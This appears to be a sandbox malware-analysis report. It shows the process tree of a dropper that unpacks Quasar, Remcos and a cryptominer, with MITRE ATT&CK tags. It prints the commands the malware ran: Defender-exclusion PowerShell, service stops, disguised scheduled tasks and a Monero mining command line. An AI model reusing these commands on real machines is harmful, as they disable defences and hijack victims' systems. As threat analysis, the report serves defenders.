PID 3388 wrote to memory of 2908	3388	cmd.exe	149
PID 3820 wrote to memory of 2984	3820	Updater.exe	161
PID 3820 wrote to memory of 2984	3820	Updater.exe	161
PID 3820 wrote to memory of 2984	3820	Updater.exe	161
PID 3820 wrote to memory of 2984	3820	Updater.exe	161
PID 3820 wrote to memory of 2984	3820	Updater.exe	161
PID 3820 wrote to memory of 2984	3820	Updater.exe	161
PID 3820 wrote to memory of 2984	3820	Updater.exe	161
PID 3820 wrote to memory of 2984	3820	Updater.exe	161
PID 3820 wrote to memory of 2984	3820	Updater.exe	161
PID 3820 wrote to memory of 3316	3820	Updater.exe	166
PID 3820 wrote to memory of 3316	3820	Updater.exe	166
PID 3820 wrote to memory of 3316	3820	Updater.exe	166
PID 3820 wrote to memory of 3316	3820	Updater.exe	166
PID 3820 wrote to memory of 3316	3820	Updater.exe	166
PID 2736 wrote to memory of 3032	2736	._cache_Synaptics.exe	168
PID 2736 wrote to memory of 3032	2736	._cache_Synaptics.exe	168
PID 2736 wrote to memory of 3032	2736	._cache_Synaptics.exe	168
PID 2736 wrote to memory of 1912	2736	._cache_Synaptics.exe	169
PID 2736 wrote to memory of 1912	2736	._cache_Synaptics.exe	169
PID 2736 wrote to memory of 1912	2736	._cache_Synaptics.exe	169
PID 4292 wrote to memory of 4756	4292	._cache_New Text Document mod.exe	170
PID 4292 wrote to memory of 4756	4292	._cache_New Text Document mod.exe	170
PID 4292 wrote to memory of 4756	4292	._cache_New Text Document mod.exe	170

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
1⤵
- Quasar RAT
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1112
- C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Users\Admin\AppData\Local\Temp\a\NewApp.exe
    "C:\Users\Admin\AppData\Local\Temp\a\NewApp.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5112
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Fasyer', 'C:\Users', 'C:\ProgramData'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4376
  - - C:\Fasyer\lopads.exe
      "C:\Fasyer\lopads.exe"
      4⤵
      Executes dropped EXE
      PID:4816
- - C:\Users\Admin\AppData\Local\Temp\a\yuksefyj.exe
    "C:\Users\Admin\AppData\Local\Temp\a\yuksefyj.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Drops file in System32 directory
    PID:1112
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:4448
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1960
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2296
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:3028
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:3308
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:3240
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:3400
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:3056
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:1628
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:728
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:3492
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:5044
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
      4⤵
      Launches sc.exe
      PID:4744
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:1440
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:3872
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
      4⤵
      Launches sc.exe
      PID:740
- - C:\Users\Admin\AppData\Local\Temp\a\ogpayload.exe
    "C:\Users\Admin\AppData\Local\Temp\a\ogpayload.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4756
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "Windows Defender Startup Scan" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\a\ogpayload.exe" /rl HIGHEST /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4988
  - - C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe
      "C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:996
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "Windows Defender Startup Scan" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe" /rl HIGHEST /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2460
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gplQ0IiucTw7.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4360
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2096
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3140
      - C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5264
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "Windows Defender Startup Scan" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe" /rl HIGHEST /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5404
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\J8tCFjSdT62f.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5516
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1196
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        8⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5000
        
        C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe"
        8⤵
        
        PID:5652
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5264 -s 2212
        7⤵
        Program crash
        
        PID:5548
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 996 -s 2228
        5⤵
        Program crash
        
        PID:4300
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Users\Admin\AppData\Local\Temp\a\Updater.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Updater.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:988
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Fasyer', 'C:\Users'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4856
  - - C:\Users\Admin\AppData\Local\Temp\a\4909_7122.exe
      "C:\Users\Admin\AppData\Local\Temp\a\4909_7122.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2636
    - - C:\Users\Admin\AppData\Local\Temp\a\4909_7122.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\4909_7122.exe"
        5⤵
        Executes dropped EXE
        
        PID:1200
  - - C:\Users\Admin\AppData\Local\Temp\a\fuck.exe
      "C:\Users\Admin\AppData\Local\Temp\a\fuck.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1984
  - - C:\Users\Admin\AppData\Local\Temp\a\remcos_a2.exe
      "C:\Users\Admin\AppData\Local\Temp\a\remcos_a2.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:2556
  - - C:\Users\Admin\AppData\Local\Temp\a\Wallet-PrivateKey.Pdf.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Wallet-PrivateKey.Pdf.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3032
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3300
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3300 -s 2000
        6⤵
        Program crash
        
        PID:5160
  - - C:\Users\Admin\AppData\Local\Temp\a\Pdf%20Reader.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Pdf%20Reader.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1912
    - - C:\Users\Admin\AppData\Local\Temp\SecurityHealthHost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SecurityHealthHost.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3284
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\13ad6dcf-4910-42bb-bff7-ec9477a501e7.bat"
        6⤵
        
        PID:5344
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:5448
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3284
        7⤵
        Kills process with taskkill
        
        PID:5616
        
        C:\Windows\system32\timeout.exe
        
        timeout /T 2 /NOBREAK
        7⤵
        Delays execution with timeout.exe
        
        PID:4564
  - - C:\Users\Admin\AppData\Local\Temp\a\Client-base.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Client-base.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1768
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2452
  - - C:\Users\Admin\AppData\Local\Temp\a\Servers.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Servers.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1864
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Server Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3064
    - - C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe
        
        "C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1908
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Server Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4760
  - - C:\Users\Admin\AppData\Local\Temp\a\FXServer.exe
      "C:\Users\Admin\AppData\Local\Temp\a\FXServer.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Maps connected drives based on registry
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Drops file in Program Files directory
      Enumerates system info in registry
      PID:2972
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1204
    - - C:\Windows\SYSTEM32\SCHTASKS.exe
        
        SCHTASKS /CREATE /TN "System-cb832607b4" /TR "C:\Windows\System32\System-cb832607b4.exe" /SC ONLOGON /RL HIGHEST /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:380
    - - C:\Windows\System32\svchost.exe
        
        C:\Windows\System32\svchost.exe
        5⤵
        Suspicious use of SetThreadContext
        
        PID:5636
      - C:\Windows\System32\powercfg.exe
        
        powercfg -change standby-timeout-ac 0
        6⤵
        Power Settings
        
        PID:6004
      - C:\Windows\System32\powercfg.exe
        
        powercfg -change monitor-timeout-ac 0
        6⤵
        Power Settings
        
        PID:6012
      - C:\Windows\System32\powercfg.exe
        
        powercfg /setacvalueindex SCHEME_CURRENT SUB_BUTTONS LIDACTION 0
        6⤵
        Power Settings
        
        PID:6020
      - C:\Windows\System32\powercfg.exe
        
        powercfg /setactive SCHEME_CURRENT
        6⤵
        Power Settings
        
        PID:6028
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic diskdrive get serialnumber
        6⤵
        
        PID:6036
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic diskdrive get serialnumber
        6⤵
        
        PID:5172
      - C:\Windows\System32\curl.exe
        
        curl -s https://api.ipify.org
        6⤵
        
        PID:3452
      - C:\Windows\System32\curl.exe
        
        curl -s http://ipinfo.io/country
        6⤵
        
        PID:5188
      - C:\Windows\System32\curl.exe
        
        curl -s https://api.ipify.org
        6⤵
        
        PID:5548
      - C:\Windows\System32\Wbem\wmic.exe
        
        wmic diskdrive get serialnumber
        6⤵
        
        PID:5808
      - C:\Windows\System32\curl.exe
        
        curl -s http://ipinfo.io/country
        6⤵
        
        PID:5916
      - C:\Windows\System32\svchost.exe
        
        "C:\Windows\System32\svchost.exe" --algo rx/0 --url xmr-us-east1.nanopool.org:10300 --user 455XKVg4JQh4Xc2bjPBWb2Uv1jhxvJnJAWWWWN3puzwtJP85MCHyuBFaZ5SL1nXGgqeoijsLjwNqSdAAJ4zrLNLnB3J7DXj/lunar --cpu-max-threads-hint=100
        6⤵
        Suspicious use of FindShellTrayWindow
        
        PID:5728
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5752
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:1480
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:3820
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:2148
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:1336
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5316
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5468
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5512
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5536
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5400
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5700
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5764
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5960
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5836
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5856
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5760
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5260
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5672
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:6080
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:6024
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:6020
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:6060
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:6004
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5144
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:6036
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:1888
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:2652
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5180
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:3100
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:4560
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:824
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:1128
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5368
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:3592
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:5428
  - - C:\Users\Admin\AppData\Local\Temp\a\mac.exe
      "C:\Users\Admin\AppData\Local\Temp\a\mac.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4044
  - - C:\Users\Admin\AppData\Local\Temp\a\Loader.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Loader.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2452
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4816
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4760
  - - C:\Users\Admin\AppData\Local\Temp\a\ciscotest.exe
      "C:\Users\Admin\AppData\Local\Temp\a\ciscotest.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4960
  - - C:\Users\Admin\AppData\Local\Temp\a\Discord.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Discord.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4856

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2604

C:\ProgramData\GoogleUP\Chrome\Updater.exe
C:\ProgramData\GoogleUP\Chrome\Updater.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2908
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1960
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3448
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2336
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4724
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2240
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1908
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4976
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5044
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2984
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 996 -ip 996
1⤵
PID:464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3300 -ip 3300
1⤵
PID:5140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5264 -ip 5264
1⤵
PID:5524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery